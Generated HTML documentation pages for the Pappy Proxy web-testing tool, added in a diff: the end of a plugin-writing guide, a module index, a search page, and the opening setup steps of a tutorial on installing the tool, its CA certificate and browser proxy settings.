+    <span class="n">reqs</span> <span class="o">=</span> <span class="k">yield</span> <span class="n">load_reqlist</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
+    <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">reqs</span><span class="p">:</span>
+        <span class="k">if</span> <span class="s">&#39;agent&#39;</span> <span class="ow">in</span> <span class="n">get_data</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
+            <span class="k">print</span> <span class="s">&#39;The user agent for </span><span class="si">%s</span><span class="s"> is &quot;</span><span class="si">%s</span><span class="s">&quot;&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">reqid</span><span class="p">,</span> <span class="n">get_data</span><span class="p">(</span><span class="n">r</span><span class="p">)[</span><span class="s">&#39;agent&#39;</span><span class="p">])</span>
+        <span class="k">else</span><span class="p">:</span>
+            <span class="k">print</span> <span class="s">&#39;Request </span><span class="si">%s</span><span class="s"> has no user agent data&#39;</span> <span class="o">%</span> <span class="n">r</span><span class="o">.</span><span class="n">reqid</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;agent_update&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">update_agent_metadata</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+        <span class="s">&#39;view_agent&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">view_agent</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+</div>
+<div class="section" id="useful-functions">
+<h3><a class="toc-backref" href="#id16">Useful Functions</a><a class="headerlink" href="#useful-functions" title="Permalink to this headline">¶</a></h3>
+<ul class="simple">
+<li>Load a request by id: <a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.load_request" title="pappyproxy.http.Request.load_request"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.load_request()</span></code></a></li>
+<li>Create a filter from a filter string: <a class="reference internal" href="pappyproxy.html#pappyproxy.context.Filter.from_filter_string" title="pappyproxy.context.Filter.from_filter_string"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.context.Filter.from_filter_string()</span></code></a></li>
+</ul>
+</div>
+</div>
+<div class="section" id="built-in-plugins-as-examples">
+<h2><a class="toc-backref" href="#id17">Built In Plugins As Examples</a><a class="headerlink" href="#built-in-plugins-as-examples" title="Permalink to this headline">¶</a></h2>
+<div class="section" id="built-in-plugins">
+<h3><a class="toc-backref" href="#id18">Built In Plugins</a><a class="headerlink" href="#built-in-plugins" title="Permalink to this headline">¶</a></h3>
+<p>All the commands in Pappy are implemented as plugins. I have done what I could to avoid using internal functions as much as I could, but there are still some instances where I had to implement an internal function in order to get the functions I needed. However, you can still look them over to see how things are structured and see some examples of semi-complicated plugins.</p>
+</div>
+<div class="section" id="interceptor-and-repeater">
+<h3><a class="toc-backref" href="#id19">Interceptor and Repeater</a><a class="headerlink" href="#interceptor-and-repeater" title="Permalink to this headline">¶</a></h3>
+<p>Pappy&#8217;s interceptor and repeater are fully implemented as a plugin. It defines an intercepting macro that handles saving then editing messages and commands that read those files and edit them. It relies on Twisted to switch between the macro handling the request and the command modifying it, so if you want to make something similar, you&#8217;ll have to learn how to use deferreds.</p>
+</div>
+</div>
+</div>
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+  <h3><a href="index.html">Table Of Contents</a></h3>
+  <ul>
+<li><a class="reference internal" href="#">Writing Plugins for the Pappy Proxy</a><ul>
+<li><a class="reference internal" href="#introduction">Introduction</a><ul>
+<li><a class="reference internal" href="#should-i-write-a-plugin-or-a-macro">Should I Write a Plugin or a Macro?</a></li>
+<li><a class="reference internal" href="#plugins-get-merged">Plugins Get Merged</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#creating-a-plugin">Creating a Plugin</a><ul>
+<li><a class="reference internal" href="#writing-a-hello-world-plugin">Writing a Hello World Plugin</a></li>
+<li><a class="reference internal" href="#passing-arguments-to-your-function">Passing Arguments to Your Function</a></li>
+<li><a class="reference internal" href="#adding-more-aliases">Adding More Aliases</a></li>
+<li><a class="reference internal" href="#adding-another-command">Adding Another Command</a></li>
+<li><a class="reference internal" href="#adding-autocompletion">Adding Autocompletion</a></li>
+<li><a class="reference internal" href="#adding-help">Adding Help</a></li>
+<li><a class="reference internal" href="#using-defer-inlinecallbacks-with-a-command">Using defer.inlineCallbacks With a Command</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#plugin-api">Plugin API</a><ul>
+<li><a class="reference internal" href="#api-functions">API Functions</a></li>
+<li><a class="reference internal" href="#storing-data-on-disk">Storing Data on Disk</a></li>
+<li><a class="reference internal" href="#storing-custom-request-metadata">Storing Custom Request Metadata</a></li>
+<li><a class="reference internal" href="#useful-functions">Useful Functions</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#built-in-plugins-as-examples">Built In Plugins As Examples</a><ul>
+<li><a class="reference internal" href="#built-in-plugins">Built In Plugins</a></li>
+<li><a class="reference internal" href="#interceptor-and-repeater">Interceptor and Repeater</a></li>
+</ul>
+</li>
+</ul>
+</li>
+</ul>
+
+  <h4>Previous topic</h4>
+  <p class="topless"><a href="tutorial.html"
+                        title="previous chapter">The Pappy Proxy Tutorial</a></p>
+  <div role="note" aria-label="source link">
+    <h3>This Page</h3>
+    <ul class="this-page-menu">
+      <li><a href="_sources/pappyplugins.txt"
+            rel="nofollow">Show Source</a></li>
+    </ul>
+   </div>
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="tutorial.html" title="The Pappy Proxy Tutorial"
+             >previous</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/py-modindex.html

@@ -0,0 +1,174 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>Python Module Index &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" />
+ 
+
+
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="#" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+
+   <h1>Python Module Index</h1>
+
+   <div class="modindex-jumpbox">
+   <a href="#cap-p"><strong>p</strong></a>
+   </div>
+
+   <table class="indextable modindextable" cellspacing="0" cellpadding="2">
+     <tr class="pcap"><td></td><td>&nbsp;</td><td></td></tr>
+     <tr class="cap" id="cap-p"><td></td><td>
+       <strong>p</strong></td><td></td></tr>
+     <tr>
+       <td><img src="_static/minus.png" class="toggler"
+              id="toggle-1" style="display: none" alt="-" /></td>
+       <td>
+       <a href="pappyproxy.html#module-pappyproxy"><code class="xref">pappyproxy</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.comm"><code class="xref">pappyproxy.comm</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.config"><code class="xref">pappyproxy.config</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.console"><code class="xref">pappyproxy.console</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.context"><code class="xref">pappyproxy.context</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.http"><code class="xref">pappyproxy.http</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.iter"><code class="xref">pappyproxy.iter</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.macros"><code class="xref">pappyproxy.macros</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.pappy"><code class="xref">pappyproxy.pappy</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.plugin"><code class="xref">pappyproxy.plugin</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.proxy"><code class="xref">pappyproxy.proxy</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.repeater"><code class="xref">pappyproxy.repeater</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.session"><code class="xref">pappyproxy.session</code></a></td><td>
+       <em></em></td></tr>
+     <tr class="cg-1">
+       <td></td>
+       <td>&nbsp;&nbsp;&nbsp;
+       <a href="pappyproxy.html#module-pappyproxy.util"><code class="xref">pappyproxy.util</code></a></td><td>
+       <em></em></td></tr>
+   </table>
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="#" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/search.html

@@ -0,0 +1,105 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>Search &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <script type="text/javascript" src="_static/searchtools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" />
+  <script type="text/javascript">
+    jQuery(function() { Search.loadIndex("searchindex.js"); });
+  </script>
+  
+  <script type="text/javascript" id="searchindexloader"></script>
+   
+
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+  <h1 id="search-documentation">Search</h1>
+  <div id="fallback" class="admonition warning">
+  <script type="text/javascript">$('#fallback').hide();</script>
+  <p>
+    Please activate JavaScript to enable the search
+    functionality.
+  </p>
+  </div>
+  <p>
+    From here you can search these documents. Enter your search
+    words into the box below and click "search". Note that the search
+    function will automatically search for all of the words. Pages
+    containing fewer words won't appear in the result list.
+  </p>
+  <form action="" method="get">
+    <input type="text" name="q" value="" />
+    <input type="submit" value="search" />
+    <span id="search-progress" style="padding-left: 10px"></span>
+  </form>
+  
+  <div id="search-results">
+  
+  </div>
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/build/html/tutorial.html

@@ -0,0 +1,904 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>The Pappy Proxy Tutorial &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" />
+    <link rel="next" title="Writing Plugins for the Pappy Proxy" href="pappyplugins.html" />
+    <link rel="prev" title="The Pappy Proxy" href="overview.html" /> 
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="pappyplugins.html" title="Writing Plugins for the Pappy Proxy"
+             accesskey="N">next</a> |</li>
+        <li class="right" >
+          <a href="overview.html" title="The Pappy Proxy"
+             accesskey="P">previous</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+  <div class="section" id="the-pappy-proxy-tutorial">
+<h1>The Pappy Proxy Tutorial<a class="headerlink" href="#the-pappy-proxy-tutorial" title="Permalink to this headline">¶</a></h1>
+<div class="contents local topic" id="table-of-contents">
+<p class="topic-title first">Table of Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#getting-set-up" id="id1">Getting Set Up</a><ul>
+<li><a class="reference internal" href="#introduction" id="id2">Introduction</a></li>
+<li><a class="reference internal" href="#getting-started" id="id3">Getting Started</a></li>
+<li><a class="reference internal" href="#installing-pappy-s-ca-cert" id="id4">Installing Pappy&#8217;s CA Cert</a><ul>
+<li><a class="reference internal" href="#installing-the-cert-in-firefox" id="id5">Installing the Cert in Firefox</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-chrome" id="id6">Installing the Cert in Chrome</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-safari" id="id7">Installing the Cert in Safari</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-internet-explorer" id="id8">Installing the Cert in Internet Explorer</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#configuring-your-browser" id="id9">Configuring Your Browser</a></li>
+<li><a class="reference internal" href="#testing-it-out" id="id10">Testing it Out</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#the-tutorial" id="id11">The Tutorial</a><ul>
+<li><a class="reference internal" href="#setting-the-scope" id="id12">Setting the Scope</a></li>
+<li><a class="reference internal" href="#natas-0" id="id13">Natas 0</a></li>
+<li><a class="reference internal" href="#natas-1" id="id14">Natas 1</a></li>
+<li><a class="reference internal" href="#natas-2" id="id15">Natas 2</a></li>
+<li><a class="reference internal" href="#natas-3" id="id16">Natas 3</a></li>
+<li><a class="reference internal" href="#finding-your-passwords-later-how-to-use-filters" id="id17">Finding Your Passwords Later (How to Use Filters)</a><ul>
+<li><a class="reference internal" href="#filters" id="id18">Filters</a></li>
+<li><a class="reference internal" href="#finding-passwords" id="id19">Finding Passwords</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#natas-4" id="id20">Natas 4</a></li>
+<li><a class="reference internal" href="#natas-5" id="id21">Natas 5</a></li>
+<li><a class="reference internal" href="#natas-6" id="id22">Natas 6</a></li>
+<li><a class="reference internal" href="#natas-7" id="id23">Natas 7</a></li>
+<li><a class="reference internal" href="#natas-8" id="id24">Natas 8</a></li>
+<li><a class="reference internal" href="#natas-9" id="id25">Natas 9</a></li>
+<li><a class="reference internal" href="#skip-a-few-natas-15" id="id26">Skip a few... Natas 15</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#conclusion" id="id27">Conclusion</a></li>
+</ul>
+</div>
+<div class="section" id="getting-set-up">
+<h2><a class="toc-backref" href="#id1">Getting Set Up</a><a class="headerlink" href="#getting-set-up" title="Permalink to this headline">¶</a></h2>
+<div class="section" id="introduction">
+<h3><a class="toc-backref" href="#id2">Introduction</a><a class="headerlink" href="#introduction" title="Permalink to this headline">¶</a></h3>
+<p>This is a quick tutorial to get you started using Pappy like a pro. To do this, we&#8217;ll be going through from <a class="reference external" href="http://overthewire.org/wargames/natas/">Natas</a>. If you haven&#8217;t done it yet and don&#8217;t want it spoiled, I suggest giving it a try with Burp since we&#8217;ll be telling you all the answers right off the bat.</p>
+</div>
+<div class="section" id="getting-started">
+<h3><a class="toc-backref" href="#id3">Getting Started</a><a class="headerlink" href="#getting-started" title="Permalink to this headline">¶</a></h3>
+<p>The first thing you&#8217;ll need to do is get Pappy installed.</p>
+<p>Install from pypi:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ pip install pappy
+</pre></div>
+</div>
+<p>or install from source:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ git clone --recursive https://github.com/roglew/pappy-proxy.git
+$ cd pappy-proxy
+$ pip install .
+</pre></div>
+</div>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!</p>
+</div>
+<p>That was easy! Make a project directory anywhere for Natas and fire up Pappy.:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ mkdir natas
+$ cd natas
+Copying default config to ./config.json
+Proxy is listening on port 8000
+pappy&gt;
+</pre></div>
+</div>
+<p>If you look at what&#8217;s in the directory, you&#8217;ll notice that there&#8217;s a <code class="docutils literal"><span class="pre">data.db</span></code> file and a <code class="docutils literal"><span class="pre">config.json</span></code> file.</p>
+<ul class="simple">
+<li><code class="docutils literal"><span class="pre">data.db</span></code> is a SQLite file that stores all the (in-scope) requests that pass through the proxy</li>
+<li><code class="docutils literal"><span class="pre">config.json</span></code> stores settings for the proxy</li>
+</ul>
+<p>You don&#8217;t need to touch either of these right now. Just hop back into Pappy.</p>
+</div>
+<div class="section" id="installing-pappy-s-ca-cert">
+<h3><a class="toc-backref" href="#id4">Installing Pappy&#8217;s CA Cert</a><a class="headerlink" href="#installing-pappy-s-ca-cert" title="Permalink to this headline">¶</a></h3>
+<p>In order to intercept HTTPS requests, you&#8217;ll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.</p>
+<p>To generate certificates, you&#8217;ll use the <code class="docutils literal"><span class="pre">gencerts</span></code> command. This will generate certificates in Pappy&#8217;s directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; gencerts
+This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
+(y/N) y
+Generating certs to /home/anonymouse/pappy/pappyproxy/certs
+Generating private key...  Done!
+Generating client cert...  Done!
+pappy&gt;
+</pre></div>
+</div>
+<p>The directory that the certs get put in may be different for you. Next, you&#8217;ll need to add the generated <code class="docutils literal"><span class="pre">certificate.crt</span></code> file to your browser. This is different for each browser.</p>
+<div class="section" id="installing-the-cert-in-firefox">
+<h4><a class="toc-backref" href="#id5">Installing the Cert in Firefox</a><a class="headerlink" href="#installing-the-cert-in-firefox" title="Permalink to this headline">¶</a></h4>
+<ol class="arabic simple">
+<li>Open Firefox</li>
+<li>Go to <code class="docutils literal"><span class="pre">Preferences</span> <span class="pre">-&gt;</span> <span class="pre">Advanced</span> <span class="pre">-&gt;</span> <span class="pre">View</span> <span class="pre">Certificates</span> <span class="pre">-&gt;</span> <span class="pre">Authorities</span></code></li>
+<li>Click <code class="docutils literal"><span class="pre">Import</span></code></li>
+<li>Navigate to the directory where the certs were generated and double click <code class="docutils literal"><span class="pre">certificate.crt</span></code></li>
+</ol>
+</div>
+<div class="section" id="installing-the-cert-in-chrome">
+<h4><a class="toc-backref" href="#id6">Installing the Cert in Chrome</a><a class="headerlink" href="#installing-the-cert-in-chrome" title="Permalink to this headline">¶</a></h4>
+<ol class="arabic simple">
+<li>Open Chrome</li>
+<li>Go to <code class="docutils literal"><span class="pre">Preferences</span> <span class="pre">-&gt;</span> <span class="pre">Show</span> <span class="pre">advanced</span> <span class="pre">settings</span> <span class="pre">-&gt;</span> <span class="pre">HTTPS/SSL</span> <span class="pre">-&gt;</span> <span class="pre">Manage</span> <span class="pre">Certificates</span> <span class="pre">-&gt;</span> <span class="pre">Authorities</span></code></li>
+<li>Click <code class="docutils literal"><span class="pre">Import</span></code></li>
+<li>Navigate to the directory where the certs were generated and double click <code class="docutils literal"><span class="pre">certificate.crt</span></code></li>
+</ol>
+</div>
+<div class="section" id="installing-the-cert-in-safari">
+<h4><a class="toc-backref" href="#id7">Installing the Cert in Safari</a><a class="headerlink" href="#installing-the-cert-in-safari" title="Permalink to this headline">¶</a></h4>
+<ol class="arabic simple">
+<li>Use Finder to navigate to the directory where the certs were generated</li>
+<li>Double click the cert and follow the prompts to add it to your system keychain</li>
+</ol>
+</div>
+<div class="section" id="installing-the-cert-in-internet-explorer">
+<h4><a class="toc-backref" href="#id8">Installing the Cert in Internet Explorer</a><a class="headerlink" href="#installing-the-cert-in-internet-explorer" title="Permalink to this headline">¶</a></h4>
+<ol class="arabic simple">
+<li>No.</li>
+</ol>
+</div>
+</div>
+<div class="section" id="configuring-your-browser">
+<h3><a class="toc-backref" href="#id9">Configuring Your Browser</a><a class="headerlink" href="#configuring-your-browser" title="Permalink to this headline">¶</a></h3>
+<p>Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won&#8217;t cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in <code class="docutils literal"><span class="pre">config.json</span></code>, but don&#8217;t worry about that right now.</p>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">Configure your browser extension to use the proxy server at <strong>loalhost</strong> on <strong>port 8000</strong></p>
+</div>
+<p>Here are some proxy plugins that should work</p>
+<ul class="simple">
+<li>Firefox: <a class="reference external" href="https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/">FoxyProxy</a></li>
+<li>Chrome: <a class="reference external" href="https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en">Proxy SwitchySharp</a></li>
+</ul>
+</div>
+<div class="section" id="testing-it-out">
+<h3><a class="toc-backref" href="#id10">Testing it Out</a><a class="headerlink" href="#testing-it-out" title="Permalink to this headline">¶</a></h3>
+<p>Start up Pappy in Lite mode by running <code class="docutils literal"><span class="pre">pappy</span> <span class="pre">-l</span></code>, enable the proxy in your browser, then navigate to a website:</p>
+<div class="highlight-python"><div class="highlight"><pre>/pappynatas/ $ pappy -l
+Temporary datafile is /tmp/tmp5AQBrH
+Proxy is listening on port 8000
+pappy&gt; ls
+ID  Verb  Host         Path               S-Code                 Req Len  Rsp Len  Time  Mngl
+8   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.21  --
+7   GET   vitaly.sexy  /favicon.ico       404 Not Found          0        114      0.22  --
+6   GET   vitaly.sexy  /esr1.jpg          200 OK                 0        17653    0.29  --
+5   GET   vitaly.sexy  /netscape.gif      200 OK                 0        1135     0.22  --
+4   GET   vitaly.sexy  /construction.gif  200 OK                 0        28366    0.26  --
+3   GET   vitaly.sexy  /vitaly2.jpg       200 OK                 0        2034003  1.34  --
+2   GET   vitaly.sexy  /                  200 OK                 0        1201     0.21  --
+1   GET   vitaly.sexy  /                  301 Moved Permanently  0        178      0.27  --
+pappy&gt; quit
+Deleting temporary datafile
+</pre></div>
+</div>
+<p>Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!</p>
+</div>
+</div>
+<div class="section" id="the-tutorial">
+<h2><a class="toc-backref" href="#id11">The Tutorial</a><a class="headerlink" href="#the-tutorial" title="Permalink to this headline">¶</a></h2>
+<div class="section" id="setting-the-scope">
+<h3><a class="toc-backref" href="#id12">Setting the Scope</a><a class="headerlink" href="#setting-the-scope" title="Permalink to this headline">¶</a></h3>
+<p>The first thing we&#8217;ll do is set up Pappy so that it only intercepts requests going to <code class="docutils literal"><span class="pre">*.natas.labs.overthewire.org</span></code>:</p>
